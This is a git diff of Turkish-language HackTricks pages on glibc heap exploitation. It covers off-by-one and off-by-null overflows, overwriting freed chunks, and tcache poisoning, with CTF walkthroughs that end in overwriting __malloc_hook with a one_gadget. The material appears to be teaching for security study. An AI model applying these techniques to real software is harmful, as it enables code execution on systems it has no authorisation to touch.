+{% endhint %} diff --git a/binary-exploitation/libc-heap/off-by-one-overflow.md b/binary-exploitation/libc-heap/off-by-one-overflow.md index fb2f27d38..68bd5b127 100644 --- a/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -1,30 +1,31 @@ -# Bir birim taşma +# Bir birim aşımı + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Yalnızca 1B taşma erişimi olan bir saldırganın, bir sonraki parçanın `boyut` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını değiştirmeyi sağlar, potansiyel olarak başka bir meşru parçayı içeren bir parça oluşturabilir. Sömürü, [çift serbest bırakma](double-free.md) veya parçaların üst üste binmesiyle benzerdir. +Yalnızca 1B aşımına erişim sağlamak, saldırganın bir sonraki parçanın `size` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını değiştirmeyi sağlar ve potansiyel olarak başka bir meşru parçayı içeren bir parça oluşturabilir. Sömürü, [çift serbest bırakma](double-free.md) veya parçaların üst üste binmesiyle benzerdir. -İki tür bir birim taşma zafiyeti vardır: +Bir birim aşımı zafiyetinin 2 türü vardır: * Keyfi bayt: Bu tür, o baytı herhangi bir değerle üzerine yazmayı sağlar * Null baytı (off-by-null): Bu tür, o baytı yalnızca 0x00 ile üzerine yazmayı sağlar -* Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` davranışının tutarsız olduğu aşağıdaki kodda görülebilir, bu da bir sonraki parçanın başında 0x00 baytını ayarlamayı sağlar. +* Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` işlevlerinin tutarsız davranışının görüldüğü aşağıdaki kodda görülebilir, bu da bir sonraki parçanın başında 0x00 baytını ayarlamayı mümkün kılar. * Bu, [House of Einherjar](house-of-einherjar.md) ile sömürülebilir. -* Tcache kullanılıyorsa, bu [çift serbest bırakma](double-free.md) durumuna dönüştürülebilir. +* Tcache kullanılıyorsa, bu [çift serbest bırakma](double-free.md) durumuna dönüştürülebilir.
@@ -47,13 +48,13 @@ return 0; ```
-Diğer kontroller arasında, artık bir parça serbest bırakıldığında önceki boyut, metadatadaki parçanın yapılandırılan boyutuyla karşılaştırılır, bu saldırı 2.28 sürümden itibaren oldukça karmaşık hale getirir. +Diğer kontroller arasında, artık bir parça serbest bırakıldığında önceki boyut, metadatadaki parçanın yapılandırılmış boyutuyla karşılaştırılır, bu saldırı 2.28 sürümden itibaren oldukça karmaşık hale getirir. ### Kod örneği: * [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c) -* Bu saldırı artık Tcaches kullanıldığından çalışmamaktadır. -* Ayrıca, daha büyük parçalar kullanarak (bu durumda Tcaches devreye girmediği için) kötüye kullanmaya çalışırsanız, hata alırsınız: `malloc(): invalid next size (unsorted)` +* Bu saldırı artık Tcache'lerin kullanımı nedeniyle çalışmıyor. +* Ayrıca, daha büyük parçalar kullanarak (bu durumda Tcache'lerin dahil olmadığı) kötüye kullanmaya çalışırsanız, hata alırsınız: `malloc(): invalid next size (unsorted)` ### Amaç @@ -61,23 +62,23 @@ Diğer kontroller arasında, artık bir parça serbest bırakıldığında önce ### Gereksinimler -* Boyut metadatası bilgisini değiştirmek için bir adet yanlışlıkla bir taşma +* Boyut metadatası bilgisini değiştirmek için bir fazla bir taşma ### Genel off-by-one saldırısı * Üç parça `A`, `B` ve `C` (örneğin boyutları 0x20) tahsis edilir ve üst parçayla birleşmeyi önlemek için başka bir parça tahsis edilir. * `C` serbest bırakılır (0x20 Tcache serbest listesine eklendi). -* Parça `A`yı `B` üzerine taşır. `B`nin `size` alanını 0x21'den 0x41'e değiştirmek için yanlışlıkla bir taşma kötüye kullanılır. -* Şimdi `B`, serbest parça `C`'yi içeriyor -* `B` serbest bırakılır ve 0x40 parça tahsis edilir (buraya tekrar yerleştirilecektir) +* Parça `A`yı `B` üzerine taşır. `B`nin `size` alanını 0x21'den 0x41'e değiştirmek için fazla bir taşmayı kötüye kullanın. +* Şimdi `B`, serbest parça `C`yi içeriyor +* `B`'yi serbest bırakın ve 0x40 parça tahsis edin (buraya tekrar yerleştirilecektir) * Hala serbest olan `C`nin `fd` işaretçisini değiştirebiliriz (Tcache zehirlenmesi) ### Off-by-null saldırısı -* Bellekte üç parça (a, b, c) ardışık olarak ayrılır. Sonra ortadaki parça serbest bırakılır. İlk parça bir yanlışlıkla bir taşma açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekten olduğundan 0x10 daha küçük olduğunu gösterir). -* Sonra, ortadaki serbest bırakılan parçaya (b) 2 daha küçük parça tahsis edilir, ancak `b + b->size` asla c parçasını güncellemez çünkü işaret edilen adres olması gereken adresten daha küçüktür. -* Sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir. -* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir ve bu aslında b2'yi içerecek şekilde olacaktır, yeni malloc'un sahibine b2'nin içeriğini kontrol etme olanağı tanır. +* Bellekten üç parça (a, b, c) sırayla ayrılır. Ardından ortadaki parça serbest bırakılır. İlk parça fazla bir taşma açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekten olduğundan 0x10 daha küçük olduğunu gösterir). +* Daha sonra, ortadaki serbest bırakılan parçaya (b) 2 daha küçük parça tahsis edilir, ancak `b + b->size` ifadesi c parçasını güncellemez çünkü işaret edilen adres olması gereken adresten daha küçüktür. +* Daha sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir. +* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir ve bu aslında b2'yi içerecek şekilde olacaktır, bu da yeni malloc sahibinin b2 içeriğini kontrol etmesine olanak tanır. Bu resim saldırıyı mükemmel bir şekilde açıklar: @@ -87,49 +88,51 @@ Bu resim saldırıyı mükemmel bir şekilde açıklar: * [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks) * [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) -* `strlen`'in bir sonraki parçanın `size` alanını düşünmesinden kaynaklanan bir off-by-one. -* Tcache kullanılıyor, bu nedenle genel off-by-one saldırıları, Tcache zehirlenmesi ile keyfi yazma işlemi elde etmek için çalışır. +* `strlen`'in bir sonraki parçanın `size` alanını düşünerek bir off-by-one hatası oluşturması. +* Tcache kullanılıyor, bu nedenle genel off-by-one saldırıları, Tcache zehirlenmesi ile keyfi yazma işlemine izin vermek için çalışır. * [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks) * Bir off-by-one'ı kötüye kullanarak bir adres sızdırmak mümkündür çünkü bir dizenin sonundaki 0x00 baytı bir sonraki alan tarafından üzerine yazılır. -* Keyfi yazma, işaretçiyi başka bir yere işaret etmek için off-by-one yazmayı kötüye kullanarak elde edilir. Ardından, bu işaretçinin işaret ettiği yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür. -* Libc adresi sızdırılır çünkü heap mmap kullanılarak genişletildiğinde, mmap tarafından ayrılan belleğin libc'den sabit bir ofseti vardır. +* Keyfi yazma, işaretçiyi başka bir yere işaret etmek için off-by-one yazmayı kötüye kullanarak yapılır ve sahte işaretçilerle sahte bir yapı oluşturulur. Daha sonra, bu yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür. +* Libc adresi sızdırılır çünkü heap, mmap kullanılarak genişletildiğinde, mmap tarafından ayrılan belleğin libc'ten sabit bir ofseti vardır. * Son olarak, keyfi yazma, \_\_free\_hook adresine bir tane araçla yazmak için kötüye kullanılır. * [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb) -* Kullanıcı giriş satırlarını okuyan `getline` işlevinde NULL off-by-one bir zayıflık vardır. Bu işlev, içeriğin "anahtarını" okumak için kullanılır. +* Kullanıcı giriş satırlarını okuyan `getline` işlevinde NULL off-by-one bir zafiyet bulunmaktadır. Bu işlev, içeriğin "anahtarını" okumak için kullanılır. * 5 başlangıç parçası oluşturulur: * parça1 (0x200) * parça2 (0x50) * parça5 (0x68) * parça3 (0x1f8) * parça4 (0xf0) -* parça savunması (0x400) üst parçayla birleşmeyi önlemek için +* parça savunması (0x400), üst parçayla birleşmeyi önlemek için * Ardından parça 1, 5 ve 3 serbest bırakılır, böylece: * ```python [ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ] ``` -* Sonra, parça3 (0x1f8) kötüye kullanılarak null off-by-one, prev\_size'ın `0x4e0` olarak yazılması kötüye kullanılır. +* Daha sonra, parça3 (0x1f8) kötüye kullanılarak null off-by-one, prev\_size'ın `0x4e0` olarak yazılmasını sağlar. * Başlangıçta tahsis edilen parça1, 2, 5 ve 3'ün boyutlarının ve bu parçaların başlıklarının toplamının `0x4e0`'a eşit olduğuna dikkat edin: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` -* Sonra, parça 4 serbest bırakılır, tüm parçaları başlangıca kadar tüketen bir parça oluşturur: +* Ardından, parça 4 serbest bırakılır, tüm parçaları başlangıca kadar tüketen bir parça oluşturur: * ```python [ 0x4e0 Parça 1-2-5-3 (serbest) ] [ 0xf0 Parça 4 (bozuk) ] [ 0x400 Parça savunması ] ``` * ```python [ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ] ``` -* Sonra, `0x200` bayt tahsis edilir ve orijinal parça 1 doldurulur +* Daha sonra, `0x200` bayt tahsis edilir ve orijinal parça 1 doldurulur * Ve başka 0x200 bayt tahsis edilir ve parça2 yok edilir ve dolayısıyla hiçbir sızıntı yok ve bu işe yaramaz mı? Belki bunun yapılması gerekmeyebilir -* Sonra, 0x58 "a" ile başka bir parça tahsis edilir (parça2'yi üzerine yazarak parça5'e ulaşır) ve parça5'in hızlı bin parçasının `fd`si `__malloc_hook`'a işaret edecek şekilde değiştirilir -* Sonra, 0x68'lik bir parça tahsis edilir, böylece `__malloc_hook`'taki sahte hızlı bin parçası, takip eden hızlı bin parçasıdır +* Daha sonra, 0x58 "a" ile başka bir parça tahsis edilir (parça2'yi üzerine yazarak parça5'e ulaşır) ve parça5'in hızlı bin parçasının `__malloc_hook`'a işaret eden `fd`si değiştirilir * Son olarak, 0x68'lik yeni bir hızlı bin parçası tahsis edilir ve `__malloc_hook` bir `one_gadget` adresiyle üzerine yazılır +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacker hilelerini göndererek PR'ler aracılığıyla paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. -* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking hilelerinizi göndererek PR'ler oluşturarak paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 83dff0e6d..9165d6dcd 100644 --- a/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,47 +1,49 @@ # Serbest bir parçayı üzerine yazma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -Önerilen birçok heap istismar tekniği, serbest bırakılmış parçaların içindeki işaretçileri üzerine yazabilmeyi gerektirir. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir: +Önerilen birkaç heap istismar tekniği, serbest bırakılmış parçaların içindeki işaretçileri üzerine yazabilmeyi gerektirir. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir: ### Basit Kullanımdan Sonra Ücretsiz -Saldırganın **bir serbest parçada bilgi yazabilmesi mümkünse**, bunu gerekli işaretçileri üzerine yazmak için kötüye kullanabilir. +Saldırganın **bir serbest parçaya bilgi yazabilmesi** mümkünse, bunu gerekli işaretçileri üzerine yazmak için kötüye kullanabilir. -### Çift Serbest +### Çift Serbest Bırakma -Saldırgan, aynı parçayı **iki kez serbest bırakabilir** (olasılıkla arada diğer parçaları serbest bırakarak) ve bunun **aynı kovada 2 kez olmasını sağlayabilirse**, kullanıcı daha sonra **parçayı ayırabilir**, **gerekli işaretçileri yazabilir** ve ardından **tekrar ayırabilir**, parçanın ayrıldığı eylemleri tetikleyebilir (örneğin hızlı kova saldırısı, tcache saldırısı...) +Saldırgan, aynı parçayı **iki kez `free`** edebilirse (olası arada başka parçaları serbest bırakarak) ve bunu **aynı kovada 2 kez olacak şekilde** yapabilirse, kullanıcının daha sonra **parçayı ayırabilmesi**, gerekli işaretçileri **yazabilmesi** ve ardından tekrar **ayırabilmesi** mümkün olacaktır, bu da parçanın ayrıldığının eylemlerini tetikleyecektir (örneğin hızlı kova saldırısı, tcache saldırısı...) ### Heap Taşması -Tahsis edilmiş bir parçayı taşırarak yanında bir serbest parça oluşturmak ve bunun bazı başlıklarını/işaretçilerini değiştirmek mümkün olabilir. +Tahsis edilmiş bir parçayı **serbest bırakılmış bir parçanın yanında taşırarak** taşırabilir ve bunun bazı başlıklarını/işaretçilerini değiştirebilir. ### Bir Birim Taşması -Bu durumda bellekteki bir sonraki parçanın **boyutunu değiştirmek mümkün olabilir**. Bir saldırgan, bunu **bir ayrılmış parçanın daha büyük bir boyuta sahip olmasını sağlamak için** kötüye kullanabilir, ardından bunu **serbest bırakabilir**, parçanın farklı bir boyutta (daha büyük) bir kovaya eklenmesini sağlar, ardından **sahte boyutu ayırabilir** ve saldırı, gerçekte olduğundan daha büyük bir boyuta sahip bir parçaya erişim sağlar, dolayısıyla **örtüşen parçalar durumu** sağlar, bu da aynı şekilde **bir heap taşması**na açıktır (önceki bölümü kontrol edin). +Bu durumda, bellekteki bir sonraki parçanın **boyutunu değiştirmek** mümkün olacaktır. Bir saldırgan, bunu **bir ayrılmış parçanın daha büyük bir boyuta sahip olmasını sağlamak** için kötüye kullanabilir, ardından bunu **`free`** edebilir, parçanın farklı bir boyutta (daha büyük) bir kovaya eklenmesini sağlar, ardından **sahte boyutu** ayırabilir ve saldırı, gerçekte olduğundan daha büyük bir boyuta sahip bir parçaya erişim sağlayacaktır, dolayısıyla **örtüşen parçalar durumu** elde edilecektir, bu da aynı şekilde **bir heap taşması** için söz konusu olabilir (önceki bölümü kontrol edin). + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/tcache-bin-attack.md b/binary-exploitation/libc-heap/tcache-bin-attack.md index 039d04b21..167104c83 100644 --- a/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -1,18 +1,19 @@ # Tcache Bin Saldırısı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
+{% endhint %} ## Temel Bilgiler @@ -22,38 +23,38 @@ Tcache bin nedir hakkında daha fazla bilgi için bu sayfaya bakın: [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -İlk olarak, Tcache'in Glibc sürümü 2.26'da tanıtıldığını unutmayın. +İlk olarak, Tcache'nin Glibc sürüm 2.26'da tanıtıldığını unutmayın. -**Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) [**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) önerilen, hedefin bir serbest bölüm içindeki bir bindeki bir sonraki parça işaretçisini istenilen bir adrese üzerine yazmak olduğu hızlı bin saldırısına çok benzerdir, böylece daha sonra **belirli bir adrese bu işaretçiyi ayırmak ve potansiyel olarak işaretçileri üzerine yazmak mümkün olur**. +[**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) önerilen **Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) hedef, bir serbest bırakılmış parçanın içindeki bir kovadaki bir sonraki parça işaretçisini isteğe bağlı bir adrese üzerine yazmak olduğu için hızlı kova saldırısına çok benzerdir, böylece daha sonra **o belirli adrese tahsis edilebilir ve potansiyel olarak işaretçiler üzerine yazılabilir**. -Ancak, günümüzde, bahsedilen kodu çalıştırırsanız hata alırsınız: **`malloc(): hizalanmamış tcache parçası tespit edildi`**. Bu nedenle, yeni işaretçiye hizalanmış bir adres yazmak gereklidir (veya yazılan adresin gerçekten hizalandığından emin olmak için yeterince kez ikili dosyayı çalıştırmak gereklidir). +Ancak, günümüzde, bahsedilen kodu çalıştırırsanız hata alırsınız: **`malloc(): hizalanmamış tcache parçası algılandı`**. Bu nedenle, yeni işaretçiye hizalanmış bir adres yazmak gereklidir (veya yazılan adresin gerçekten hizalandığı kadar sıkı bir şekilde ikili dosyayı çalıştırmak gereklidir). -### Tcache indeks saldırıları +### Tcache indeks saldırısı -Genellikle, heap'in başlangıcında, tcache içindeki **her indeksteki parça miktarını** ve **her tcache indeksinin baş parça adresini** içeren bir parça bulunabilir. Bu bilgiyi bir şekilde değiştirmek mümkün olursa, **bazı indekslerin baş parçasını istenilen bir adrese işaret edecek şekilde yapmak mümkün olur** (`__malloc_hook` gibi) ve daha sonra bu durumda `__malloc_hook` içeriğini üzerine yazmak mümkün olur. +Genellikle, heap'in başlangıcında, tcache içindeki **her indeksteki parça miktarını** içeren bir parça ve **her tcache indeksinin baş parça adresini** içeren bir parça bulunabilir. Bu bilgiyi bir şekilde değiştirmek mümkün olursa, **bazı indeksin baş parçasını istenen bir adrese yönlendirmek mümkün olacaktır** (`__malloc_hook` gibi) ve daha sonra bu durumda `__malloc_hook` içeriğini üzerine yazmak mümkün olacaktır. ## Örnekler * CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html) -* **Libc bilgi sızıntısı**: Tcache'leri doldurmak, bir parçayı sıralanmamış listeye eklemek, tcache'yi boşaltmak ve ardından sadece ilk 8B'yi üzerine yazarak sıralanmamış bölümden parçayı **yeniden tahsis etmek** mümkündür, **ikinci adresi parçadan libc'ye okuyabiliriz**. -* **Tcache saldırısı**: İkinci bir 1B heap taşması olan bir ikili dosya zafiyetlidir. Bu, ayrılmış bir parçanın **boyut başlığını** değiştirmek için kötüye kullanılacaktır. Daha sonra, bu parça **serbest bırakılacak**, sahte boyuttaki parçaların tcache'ine eklenir. Ardından, sahte boyutta bir parça tahsis edilecek ve önceki parça **gerçekte daha küçük olduğu bilinerek geri dönecektir ve bu, bellekteki bir sonraki parçayı üzerine yazma fırsatı verir**.\ -Bu, **bir sonraki parçanın FD işaretçisini üzerine yazmak** için kötüye kullanılacaktır, böylece değiştirilen ilk meşru işaretçiyi ve ardından ikinci tahsisin **`malloc_hook`'a** döneceği bir parça alınacaktır ve bu, **bir gadget yazmak için kötüye kullanılabilir**. +* **Libc bilgi sızıntısı**: Tcache'leri doldurmak, bir parçayı sıralanmamış listeye eklemek, tcache'yi boşaltmak ve ardından sadece ilk 8B'yi üzerine yazarak bu parçayı tekrar tahsis etmek mümkündür, **parçanın ikinci adresini bozulmamış bir şekilde bırakarak, bu sayede okuyabiliriz**. +* **Tcache saldırısı**: İkinci bir 1B heap taşması olan bir ikili dosya zayıf durumdadır. Bu, tahsis edilen bir parçanın **boyut başlığını** değiştirmek için kötüye kullanılacaktır. Daha sonra, bu parça **serbest bırakılacak**, sahte boyuttaki parçaların tcache'ine eklenir. Ardından, sahte boyuttaki bir parça tahsis edilecek ve önceki parça **bu parçanın aslında daha küçük olduğunu bilerek geri dönecek ve bu, bellekteki bir sonraki parçayı üzerine yazma fırsatı verecektir**.\ +Bu, **bir sonraki parçanın FD işaretçisini üzerine yazmak** için kötüye kullanılacaktır, böylece değiştirilen ilk işaretçi ve ardından ikinci tahsis, **`malloc_hook`'ta bir parça döndürecektir ve bu, bir **one gadget** yazmak için kötüye 